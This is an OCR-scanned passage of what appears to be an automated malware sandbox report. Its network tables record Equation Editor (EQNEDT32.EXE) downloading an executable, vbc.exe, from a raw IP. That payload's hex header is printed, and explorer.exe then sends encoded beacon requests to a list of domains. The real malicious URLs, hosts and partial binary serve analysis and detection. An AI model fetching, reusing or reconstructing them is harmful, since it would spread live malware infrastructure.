Nov 26, 2020 21:13:00.714909077 CET 80 49165 216.170.126.121 192.168.2.22
Nov 26, 2020 21:13:00.714950085 CET 80 49165 216.170.126.121 192.168.2.22
Nov 26, 2020 21:13:00.714988947 CET 80 49165 216.170.126.121 192.168.2.22
Nov 26, 2020 21:13:00.715028048 CET 80 49165 216.170.126.121 192.168.2.22
Nov 26, 2020 21:13:00.715094090 CET 80 49165 216.170.126.121 192.168.2.22
Nov 26, 2020 21:13:00.715114117 CET 49165 80 192.168.2.22 216.170.126.121
Nov 26, 2020 21:13:00.715128899 CET 49165 80 192.168.2.22 216.170.126.121
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Timestamp Source Port Dest Port Source IP Dest IP

Nov 26, 2020 21:13:00.715132952 CET 49165 80 192.168.2.22 216.170.126.121
Nov 26, 2020 21:13:00.715189934 CET 80 49165 216.170.126.121 192.168.2.22
Nov 26, 2020 21:13:00.715231895 CET 80 49165 216.170.126.121 192.168.2.22
Nov 26, 2020 21:13:00.715266943 CET 49165 80 192.168.2.22 216.170.126.121
Nov 26, 2020 21:13:00.715286970 CET 49165 80 192.168.2.22 216.170.126.121
Nov 26, 2020 21:13:00.715310097 CET 80 49165 216.170.126.121 192.168.2.22
Nov 26, 2020 21:13:00.715348959 CET 80 49165 216.170.126.121 192.168.2.22
Nov 26, 2020 21:13:00.715374947 CET 49165 80 192.168.2.22 216.170.126.121
Nov 26, 2020 21:13:00.715401888 CET 49165 80 192.168.2.22 216.170.126.121
Nov 26, 2020 21:13:00.715421915 CET 80 49165 216.170.126.121 192.168.2.22
Nov 26, 2020 21:13:00.715461016 CET 80 49165 216.170.126.121 192.168.2.22
Nov 26, 2020 21:13:00.715485096 CET 49165 80 192.168.2.22 216.170.126.121
Nov 26, 2020 21:13:00.715512037 CET 49165 80 192.168.2.22 216.170.126.121
Nov 26, 2020 21:13:00.715533018 CET 80 49165 216.170.126.121 192.168.2.22
Nov 26, 2020 21:13:00.715575933 CET 80 49165 216.170.126.121 192.168.2.22
Nov 26, 2020 21:13:00.715595961 CET 49165 80 192.168.2.22 216.170.126.121
Nov 26, 2020 21:13:00.715631008 CET 49165 80 192.168.2.22 216.170.126.121
Nov 26, 2020 21:13:00.715663910 CET 80 49165 216.170.126.121 192.168.2.22
Nov 26, 2020 21:13:00.715707064 CET 80 49165 216.170.126.121 192.168.2.22
Nov 26, 2020 21:13:00.715727091 CET 49165 80 192.168.2.22 216.170.126.121
Nov 26, 2020 21:13:00.715759039 CET 49165 80 192.168.2.22 216.170.126.121
Nov 26, 2020 21:13:00.715792894 CET 80 49165 216.170.126.121 192.168.2.22
Nov 26, 2020 21:13:00.715835094 CET 80 49165 216.170.126.121 192.168.2.22
Nov 26, 2020 21:13:00.715857983 CET 49165 80 192.168.2.22 216.170.126.121
Nov 26, 2020 21:13:00.715886116 CET 49165 80 192.168.2.22 216.170.126.121
Nov 26, 2020 21:13:00.715924025 CET 80 49165 216.170.126.121 192.168.2.22
Nov 26, 2020 21:13:00.715966940 CET 80 49165 216.170.126.121 192.168.2.22
Nov 26, 2020 21:13:00.715986013 CET 49165 80 192.168.2.22 216.170.126.121
Nov 26, 2020 21:13:00.716017008 CET 49165 80 192.168.2.22 216.170.126.121
Nov 26, 2020 21:13:00.716043949 CET 80 49165 216.170.126.121 192.168.2.22
Nov 26, 2020 21:13:00.716083050 CET 80 49165 216.170.126.121 192.168.2.22
Nov 26, 2020 21:13:00.716101885 CET 49165 80 192.168.2.22 216.170.126.121
Nov 26, 2020 21:13:00.716133118 CET 49165 80 192.168.2.22 216.170.126.121
Nov 26, 2020 21:13:00.716157913 CET 80 49165 216.170.126.121 192.168.2.22
Nov 26, 2020 21:13:00.716197968 CET 80 49165 216.170.126.121 192.168.2.22
Nov 26, 2020 21:13:00.716221094 CET 49165 80 192.168.2.22 216.170.126.121
Nov 26, 2020 21:13:00.716252089 CET 49165 80 192.168.2.22 216.170.126.121
Nov 26, 2020 21:13:00.716284037 CET 80 49165 216.170.126.121 192.168.2.22

UDP Packets

Timestamp Source Port Dest Port Source IP Dest IP
Nov 26, 2020 21:13:47.852057934 CET 52197 53 192.168.2.22 8.8.8.8
Nov 26, 2020 21:13:48.040323973 CET 53 52197 8.8.8.8 192.168.2.22
Nov 26, 2020 21:13:54.149552107 CET 53099 53 192.168.2.22 8.8.8.8
Nov 26, 2020 21:13:54.198481083 CET 53 53099 8.8.8.8 192.168.2.22
Nov 26, 2020 21:13:59.246659040 CET 52838 53 192.168.2.22 8.8.8.8
Nov 26, 2020 21:13:59.423624992 CET 53 52838 8.8.8.8 192.168.2.22
Nov 26, 2020 21:14:05.503380060 CET 61200 53 192.168.2.22 8.8.8.8
Nov 26, 2020 21:14:05.565918922 CET 53 61200 8.8.8.8 192.168.2.22
Nov 26, 2020 21:14:10.649647951 CET 49548 53 192.168.2.22 8.8.8.8
Nov 26, 2020 21:14:10.720680952 CET 53 49548 8.8.8.8 192.168.2.22
Nov 26, 2020 21:14:15.896807909 CET 55627 53 192.168.2.22 8.8.8.8
Nov 26, 2020 21:14:16.031919003 CET 53 55627 8.8.8.8 192.168.2.22
Nov 26, 2020 21:14:21.333838940 CET 56009 53 192.168.2.22 8.8.8.8
Nov 26, 2020 21:14:21.392705917 CET 53 56009 8.8.8.8 192.168.2.22
Nov 26, 2020 21:14:26.443860054 CET 61865 53 192.168.2.22 8.8.8.8
Nov 26, 2020 21:14:26.616909981 CET 53 61865 8.8.8.8 192.168.2.22
Nov 26, 2020 21:14:31.935447931 CET 55171 53 192.168.2.22 8.8.8.8
Nov 26, 2020 21:14:31.988279104 CET 53 55171 8.8.8.8 192.168.2.22
Nov 26, 2020 21:14:37.356272936 CET 52496 53 192.168.2.22 8.8.8.8
Nov 26, 2020 21:14:37.695303917 CET 53 52496 8.8.8.8 192.168.2.22
Nov 26, 2020 21:14:43.253629923 CET 57564 53 192.168.2.22 8.8.8.8
Nov 26, 2020 21:14:43.302651882 CET 53 57564 8.8.8.8 192.168.2.22
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DNS Queries

Timestamp

Nov 26, 2020 21:13:47.852057934 CET

Nov 26, 2020 21:13:54.149552107 CET

Nov 26, 2020 21:13:59.246659040 CET

Nov 26, 2020 21:14:05.503380060 CET

Nov 26, 2020 21:14:10.649647951 CET

Nov 26, 2020 21:14:15.896807909 CET

Nov 26, 2020 21:14:21.333838940 CET

Nov 26, 2020 21:14:26.443860054 CET

Nov 26, 2020 21:14:31.935447931 CET

Nov 26, 2020 21:14:37.356272936 CET

Nov 26, 2020 21:14:43.253629923 CET

DNS Answers

Timestamp Source IP

Nov 26, 2020 8.8.8.8
21:13:48.040323973
CET

Nov 26, 2020 8.8.8.8
21:13:48.040323973
CET

Nov 26, 2020 8.8.8.8
21:13:54.198481083
CET

Nov 26, 2020 8.8.8.8
21:13:59.423624992
CET

Nov 26, 2020 8.8.8.8
21:13:59.423624992
CET

Nov 26, 2020 8.8.8.8
21:14:05.565918922
CET

Nov 26, 2020 8.8.8.8
21:14:10.720680952
CET

Nov 26, 2020 8.8.8.8
21:14:10.720680952
CET

Nov 26, 2020 8.8.8.8
21:14:16.031919003
CET

Nov 26, 2020 8.8.8.8
21:14:21.392705917
CET

Nov 26, 2020 8.8.8.8
21:14:21.392705917
CET

Nov 26, 2020 8.8.8.8
21:14:26.616909981
CET

Nov 26, 2020 8.8.8.8
21:14:26.616909981
CET

Nov 26, 2020 8.8.8.8
21:14:26.616909981
CET

Nov 26, 2020 8.8.8.8
21:14:26.616909981
CET
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Dest IP
192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

Source IP

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

Trans ID

0x305

0x305

0x708c

Oxaldd

Oxaldd

0x2e78

0x2f03

0x2f03

0x3c4e

Ox6ec7

Ox6ec7

Oxa84f

Oxa84f

Oxa84f

Oxa84f

Dest IP
8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

Reply Code
No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Trans ID OP Code
0x305 Standard query
(0)
0x708c Standard query
(0)
Oxalad Standard query
(0)
0x2e78 Standard query
(0)
0x2f03 Standard query
(0)
0x3cde Standard query
(0)
Ox6ec? Standard query
(0)
Oxa84f Standard query
(0)
0x4b92 Standard query
(0)
0x4b93 Standard query
(0)
Oxc2d7 Standard query
(0)
Name CName
www.nziyad nziyade.com
e.com
nziyade.com
www.colori

ngprintouts.com

www.ktprod ktproductreviews.com
uctreviews.com

ktproductr
eviews.com

www.mondzorg-
postma.com

www.cocogr shops.myshopify.com
eensoil.com

shops.mysh
opify.com

Www.moveon
eic.com

www.antillean-  antillean-network.com
network.com

antillean-
network.com

www.integr parking.namesilo.com
atednouris
hment.com

parking.na
mesilo.com

parking.na
mesilo.com

parking.na
mesilo.com

Name

www.nziyad
e.com

www.colori
ngprintouts.com

www.ktprod
uctreviews.com

www.mondzorg-
postma.com

WWWw.cocogr
eensoil.com

Www.moveon
eic.com

www.antillean-
network.com

www.integr
atednouris
hment.com

Wwww.gregor
yrecommend
s.com

www.yanasa
cha.com

www.bigdil
lenergy.com

Address

92.42.39.29

52.58.78.16

66.235.200.146

188.93.150.44

23.227.38.74

66.96.162.138

85.10.195.227

192.161.187.200

198.251.81.30

204.188.203.155

Type
A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Type
CNAME
(Canonical
name)

A (IP address)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

A (IP address)

A (IP address)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)
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Timestamp Source IP

Nov 26, 2020
21:14:26.616909981
CET

8.8.8.8

Nov 26, 2020
21:14:26.616909981
CET

8.8.8.8

Nov 26, 2020
21:14:26.616909981
CET

8.8.8.8

Nov 26, 2020
21:14:26.616909981
CET

8.8.8.8

Nov 26, 2020
21:14:26.616909981
CET

8.8.8.8

Nov 26, 2020
21:14:26.616909981
CET

8.8.8.8

Nov 26, 2020 8.8.8.8
21:14:26.616909981

CET

Nov 26, 2020
21:14:26.616909981
CET

8.8.8.8

Nov 26, 2020
21:14:31.988279104
CET

8.8.8.8

Nov 26, 2020 8.8.8.8
21:14:31.988279104

CET

Nov 26, 2020
21:14:31.988279104
CET

8.8.8.8

Nov 26, 2020
21:14:31.988279104
CET

8.8.8.8

Nov 26, 2020
21:14:31.988279104
CET

8.8.8.8

Nov 26, 2020
21:14:31.988279104
CET

8.8.8.8

Nov 26, 2020
21:14:37.695303917
CET

8.8.8.8

Nov 26, 2020
21:14:43.302651882
CET

8.8.8.8

Dest IP
192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

HTTP Request Dependency Graph

216.170.126.121
www.nziyade.com
www.coloringprintouts.com
www.ktproductreviews.com
www.mondzorg-postma.com
www.cocogreensoil.com
Www.moveoneic.com
www.antillean-network.com
www.integratednourishment.com
www.gregoryrecommends.com
www.yanasacha.com
www.bigdillenergy.com

© o o o o 0o o 0 o o o o

HTTP Packets

Session ID Source IP
0 192.168.2.

kBytes
Timestamp transferre
Nov 26, 2020 0

21:13:00.238950968 CET

Copyright null 2020

Trans ID

Oxa84f

Oxa84f

Oxa84f

Oxa84f

Oxa84f

Oxa84f

Oxa84f

Oxa84f

0x4h92

0x4b92

0x4b92

0x4h92

0x4h92

0x4b92

0x4b93

0xc2d7

Source Port

22 49165

d Direction

ouT

Reply Code Name CName
No error (0) parking.na
mesilo.com
No error (0) parking.na
mesilo.com
No error (0) parking.na
mesilo.com
No error (0) parking.na
mesilo.com
No error (0) parking.na
mesilo.com
No error (0) parking.na
mesilo.com
No error (0) parking.na
mesilo.com
No error (0) parking.na
mesilo.com
No error (0) www.gregor
yrecommend
s.com
No error (0) target.cli

ckfunnels.com

No error (0) target.cli

ckfunnels.com

No error (0) target.cli

ckfunnels.com

No error (0) target.cli

ckfunnels.com

No error (0) target.cli

ckfunnels.com

No error (0) www.yanasa
cha.com

No error (0) www.bigdil
lenergy.com

Destination IP Destination Port Process

216.170.126.121 80

Data

GET /hkcmd/vbc.exe HTTP/1.1
Accept: */*

Accept-Encoding: gzip, deflate

target.clickfunnels.com

Address
209.141.38.71

198.251.84.92

70.39.125.244

45.58.190.82

188.164.131.200

107.161.23.204

64.32.22.102

168.235.88.209

104.16.16.194

104.16.15.194

104.16.12.194

104.16.14.194

104.16.13.194

160.124.66.42

52.58.78.16

Type
A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: 216.170.126.121
Connection: Keep-Alive
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Timestamp

Nov 26, 2020
21:13:00.358699083 CET

Session ID

1

Timestamp

Nov 26, 2020
21:13:48.109751940 CET

Copyright null 2020

kBytes
transferred

1

Source IP

192.168.2.22

kBytes
transferred

507

Direction

IN

Source Port

49166

Direction

ouT

Data

HTTP/1.1 200 OK

Date: Thu, 26 Nov 2020 20:13:00 GMT

Server: Apache/2.4.46 (Win64) OpenSSL/1.1.1g PHP/7.2.34

Last-Modified: Thu, 26 Nov 2020 08:44:44 GMT

ETag: "74e00-5b4fe8e3ad860"

Accept-Ranges: bytes

Content-Length: 478720

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: application/x-msdownload

Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 Oe 1f ba Oe 00 b4 09 cd 21 b8 01
4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64
65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 fc 6a bf 5f 00 00 00 00 00 00 00 00 e0 00 02 01 Ob 01 30
00 00 44 07 00 00 08 00 00 00 00 00 00 8e 62 07 00 00 20 00 00 00 80 07 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00
00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 cO 07 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00
00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 3c 62 07 00 4f 00 00 00 00 80 07 00 b8 05 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 07 00 Oc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00
00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 94 42 07 00 00
20 00 00 00 44 07 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 b8 05 00 00
00 80 07 00 00 06 00 00 00 46 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6¢ 6f 63 00 00 Oc 00 00
00 00 a0 07 00 00 02 00 00 00 4c 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 70 62 07 00 00 00 00 00 48 00 00 00 02 00 05 00 b0 72 00 00 9c 63 00 00 03 00 00 00 78 00 00 06 4c
d6 00 00 fO 8b 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 13 30 02 00 47 00 00 00 01 00 00 11 02 14 7d 03 00 00 04 02 28 15 00 00 Oa 00 00 02 28 06 00
00 06 00 02 73 1d 00 00 06 7d 01 00 00 04 02 7b 01 00 00 04 02 6f 18 00 00 06 00 28 16 00 00 Oa Oa 02 7b 01 00 00 04
02 7b 02 00 00 04 6f 1c 00 00 06 00 2a 00 13 30 02 00 ¢8 00 00 00 02 00 00 11 00 28 17 00 00 Oa 02 7b 01 00 00 04 7b
Oe 00 00 04 28 18 00 00 Oa Oa 12 00 28 19 00 00 Oa 7e 10 00 00 04 76 6¢ fe 02 Ob 07 2c 11 02 7b 01 00 00 04 7b Of 00 00
04 6f 1a 00 00 0a 00 02 7b 01 00 00 04 7b Of 00 00 04 04 6f 1b 00 00 Oa 6f 1c 00 00 Oa 00 02 7b 01 00 00 04 28 17 00 00
0Oa 7d Oe 00 00 04 04 6f 1b 00 00 Oa 1f 0d 33 15 02 7b 01 00 00 04 7b Of 00 00 04 6f 1d 00 00 Oa 16 fe 02 2b 01 16 Oc 08
2c¢ 40 00 02 7b 01 00 00 04 7b Of 00 00 04 6f 1e 00 00 Oa 73 1f 00 00 Oa 0d 02 7b 01 00 00 04 02 7b 01 00 00 04 7b Of 00
00 04 6f 1b 00 00 06 00 02 7b 01 00 00 04 7b Of 00 00 04 6f 1a 00 00 Oa 00 00 2a 92 00 02 7b 04 00 00 04 28 20 00 00 Oa
6f 21 00 00 0a 00 02 7b 04 00 00 04 7e 11 00 00 04 6f 22 00 00 Oa 00 2a 92 00 02 7b 04 00 00 04 28 23 00 00 Oa 6f 21 00
00 0a 00 02 7b 04 00 00 04 7e 12 00 00 04 6f 22 00 00 Oa 00 2a 00 00 13 30 02 00 2b 00 00 00 03 00 00 11 00 03 2¢ Ob
02 7b 03 00 00 04 14 fe 03 2b 01 16 0a 06 2c Oe 00 02 7b 03 00 00 04 6f 24 00 00 Oa

Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELj_0Db @ @<bO H.textB D ".rsrcF@@.reloc
L@BpbHrexLOGH(sHo({o*0({{((~vI.{o{{oo{(o3{{o+ @{{os{{{of{o*{( o!{~0"*{(#0}{~0"*0+{+{0$

Destination IP Destination Port Process

92.42.39.29 80 C:\Windows\explorer.exe

Data

GET /sqe3/?cB=b5w1+wtMG086+ku5rySInuvQ6Xf8quQxjwBGS8AB8cD8tokaT2Rnkch2TWRAQrEjQEkeCg==&Nre
T=XJEOG4nHflj HTTP/1.1

Host: www.nziyade.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:
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Timestamp

Nov 26, 2020
21:13:49.526554108 CET

Session ID

10

Timestamp

Nov 26, 2020
21:14:37.975326061 CET

Nov 26, 2020
21:14:38.257570982 CET

Session ID

11

Timestamp

Nov 26, 2020
21:14:43.320058107 CET

Copyright null 2020

kBytes
transferred

509

Source IP

192.168.2.22

kBytes
transferred

618

618

Source IP

192.168.2.22

kBytes
transferred

619

Direction

IN

Source Port

49175

Direction

ouT

Source Port

49176

Direction

ouT

Data

HTTP/1.1 404 Not Found

Cache-Control: no-cache, must-revalidate, max-age=0

Content-Type: text/html; charset=UTF-8

Expires: Wed, 11 Jan 1984 05:00:00 GMT

Server: Microsoft-11S/8.5

Link: <https://www.nziyade.com/wp-json/>; rel="https://api.w.org/"

X-Powered-By: ASP.NET

X-Powered-By-Plesk: PleskWin

Date: Thu, 26 Nov 2020 20:13:34 GMT

Connection: close

Content-Length: 55925

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e 0d 0a 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 74 72 22 3e 0d Oa 3c
68 65 61 64 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0d 0a 09 09 3¢
6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6¢ 65 22 20 63 6f 6 74 65
6e 74 3d 22 49 45 3d 65 64 67 65 22 20 2f 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 2
2 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6¢ 2d 73
63 61 6¢ 65 3d 31 22 20 2f 3e 0d 0a 09 09 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 70 72 6f 66 69 6¢ 65 22 20 68 72 65 66 3d 22
68 74 74 70 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0d Oa 0d 0a 09 09 09 09 0d 0a 09 09 09 3¢ 7
469 74 6¢ 65 3e 53 61 79 66 61 20 62 75 6¢ 75 6€ 61 6d 61 64 c4 b1 20 26 23 38 32 31 31 3b 20 5a 69 79 61 64 65 20 50
69 64 65 20 26 61 6d 70 3b 20 4b 65 62 61 70 3c 2f 74 69 74 6¢ 65 3e 0a 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 27 64 6e 73 2d
70 72 65 66 65 74 63 68 27 20 68 72 65 66 3d 27 2f 2f 73 2e 77 2e 6f 72 67 27 20 2f 3e 0a 3c 6¢ 69 6e 6b 20 68 72 65 66
3d 27 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 27 20 63 72 6f 73 73 6f 72 69 67 69 6e
20 72 65 6¢ 3d 27 70 72 65 63 6f 6e 6e 65 63 74 27 20 2f 3e Oa 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 61 6¢ 74 65 72 6e 61 74
652220 74 79 70 65 3d 22 61 70 70 6¢ 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6¢ 22 20 74 69 74 6¢ 65 3d 22 5a 69 79
61 64 65 20 50 69 64 65 20 26 61 6d 70 3b 20 4b 65 62 61 70 20 26 72 61 71 75 6f 3b 20 62 65 73 6¢ 65 6d 65 73 69 22
2068 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6e 7a 69 79 61 64 65 2e 63 6f 6d 2f 66 65 65 64 2f 22 20 2f 3e
0a 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 61 6¢ 74 65 72 6€ 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6C 69 63 61 74 69 6f
6e 2f 72 73 73 2b 78 6d 6¢ 22 20 74 69 74 6¢ 65 3d 22 5a 69 79 61 64 65 20 50 69 64 65 20 26 61 6d 70 3b 20 4b 65 62
61 70 20 26 72 61 71 75 6f 3b 20 79 6f 72 75 6d 20 62 65 73 6¢ 65 6d 65 73 69 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a
2f2f 77 77 77 2e 6e 7a 69 79 61 64 65 2e 63 6f 6d 2f 63 6f 6d 6d 65 6e 74 73 2f 66 65 65 64 2f 22 20 2f 3e 0a 09 09 3c 73
63 7269 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 09 09 09 77 69 6e 64 6f 77
2e 5f 77 70 65 6d 6f 6a 69 53 65 74 74 69 6e 67 73 20 3d 20 7b 22 62 61 73 65 55 72 6¢ 22 3a 22 68 74 74 70 73 3a 5¢c 2f
5c 2f 73 2e 77 2e 6f 72 67 5¢ 2f 69 6d 61 67 65 73 5c 2f 63 6f 72 65 5¢ 2f 65 6d 6f 6a 69 5¢ 2f 31 33 2e 30 2e 30 5¢ 2f 37
327837 32 5¢ 2f 22 2¢ 22 65 78 74 22 3a 22 2e 70 6e 67 22 2¢ 22 73 76 67 55 72 6¢ 22 3a 22 68 74 74 70 73 3a 5¢ 2f 5¢
2f 73 2e 77 2e 6f 72 67 5¢ 2f 69 6d 61 67 65 73 5c 2f 63 6f 72 65 5¢ 2f 65 6d 6f 6a 69 5¢ 2f 31 33 2e 30 2e 30 5¢ 2f 73 76
67

Data Ascii: <IDOCTYPE html><html lang="tr"><head><meta charset="UTF-8" /><meta http-equiv="X-UA-Compatible" co
ntent="IE=edge" /><meta name="viewport" content="width=device-width, initial-scale=1" /><link rel="profile" href="http:/
/gmpg.org/xfn/11" /><title>Sayfa bulunamad &#8211; Ziyade Pide &amp; Kebap</title><link rel="dns-prefetch' href="//s.w.o
rg' /><link href="https://fonts.gstatic.com' crossorigin rel="preconnect’ /><link rel="alternate" type="application/rss+xml" title
="Ziyade Pide &amp; Kebap &raquo; beslemesi" href="https://www.nziyade.com/feed/" /><link rel="alternate" type
="application/rss+xml" tittle="Ziyade Pide &amp; Kebap &raquo; yorum beslemesi" href="https://www.nziyade.com/c
omments/feed/" /><script type="text/javascript">window._wpemojiSettings = {"baseUrl":"https:\\\/s.w.org\/images\/core\/e
mojiV/13.0.0V72x72V","ext":".png","svgUrl":"https:\/\V/s.w.orgVimages\/core\/emoji\/13.0.0\/svg

Destination IP Destination Port Process

160.124.66.42 80 C:\Windows\explorer.exe

Data

GET /sqe3/?cB=doZAOmM1JLTF4HwW2gDVobBoignusmrljoue OoEC46DGrv2J4+txpFe/3Q5GbV3HQ5vdwgSA==&Nre
T=XJEOG4nHflj HTTP/1.1

Host: www.yanasacha.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 26 Nov 2020 20:13:41 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked

Connection: close

Vary: Accept-Encoding

Data Raw: 31 0d Oa 2e 0d Oa 30 0d Oa 0Od Oa
Data Ascii: 1.0

Destination IP Destination Port Process

52.58.78.16 80 C:\Windows\explorer.exe

Data

GET /sqe3/?cB=WEY89Cif+pli2MLF1zVwoU92FBjT7mYFKn7NGwcjA7VjLh+ShZmG13goYNxo9cFbZs7féw==&Nre
T=XJEOG4nHflj HTTP/1.1

Host: www.bigdillenergy.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:
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kBytes
Timestamp transferred

Nov 26, 2020 620
21:14:43.336735964 CET

Session ID Source IP

2 192.168.2.22
kBytes

Timestamp transferred

Nov 26, 2020 514

21:13:54.217690945 CET

Nov 26, 2020 514
21:13:54.234344006 CET

Session ID Source IP

3 192.168.2.22
kBytes

Timestamp transferred

Nov 26, 2020 515

21:13:59.443011999 CET

Session ID Source IP

4 192.168.2.22
kBytes

Timestamp transferred

Nov 26, 2020 516

21:14:05.591139078 CET

Copyright null 2020

Direction

IN

Source Port

49167

Direction

ouT

Source Port

49168

Direction

ouT

Source Port

49169

Direction

ouT

Data

HTTP/1.1 410 Gone

Server: openresty/1.13.6.2

Date: Thu, 26 Nov 2020 20:14:02 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: close

Data Raw: 37 0d Oa 3c 68 74 6d 6¢ 3e 0a 0d 0a 39 0d Oa 20 20 3c 68 65 61 64 3e 0a 0d Oa 35 31 0d Oa 20 20 20 20 3c 6d
6574 61 20 68 74 74 70 2d 65 71 75 69 76 3d 27 72 65 66 72 65 73 68 27 20 63 6f 6e 74 65 6e 74 3d 27 35 3b 20 75 72
6¢ 3d 68 74 74 70 3a 2f 2f 77 77 77 2e 62 69 67 64 69 6¢ 6¢ 65 6e 65 72 67 79 2e 63 6f 6d 2f 27 20 2f 3e 0a 0d Oa 61 0d
0a 20 20 3c 2f 68 65 61 64 3e 0a 0d 0a 39 0d Oa 20 20 3c 62 6f 64 79 3e 0a 0d Oa 33 64 0d 0a 20 20 20 20 59 6f 75 20 61
72 65 20 62 65 69 6e 67 20 72 65 64 69 72 65 63 74 65 64 20 74 6f 20 68 74 74 70 3a 2f 2f 77 77 77 2e 62 69 67 64 69 6¢
